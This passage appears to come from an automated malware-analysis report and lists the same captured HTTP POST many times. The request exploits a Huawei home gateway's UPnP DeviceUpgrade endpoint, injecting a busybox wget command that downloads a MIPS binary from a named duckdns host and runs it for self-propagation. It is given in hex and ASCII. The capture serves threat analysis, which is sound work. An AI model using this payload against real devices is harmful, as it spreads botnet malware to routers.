79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 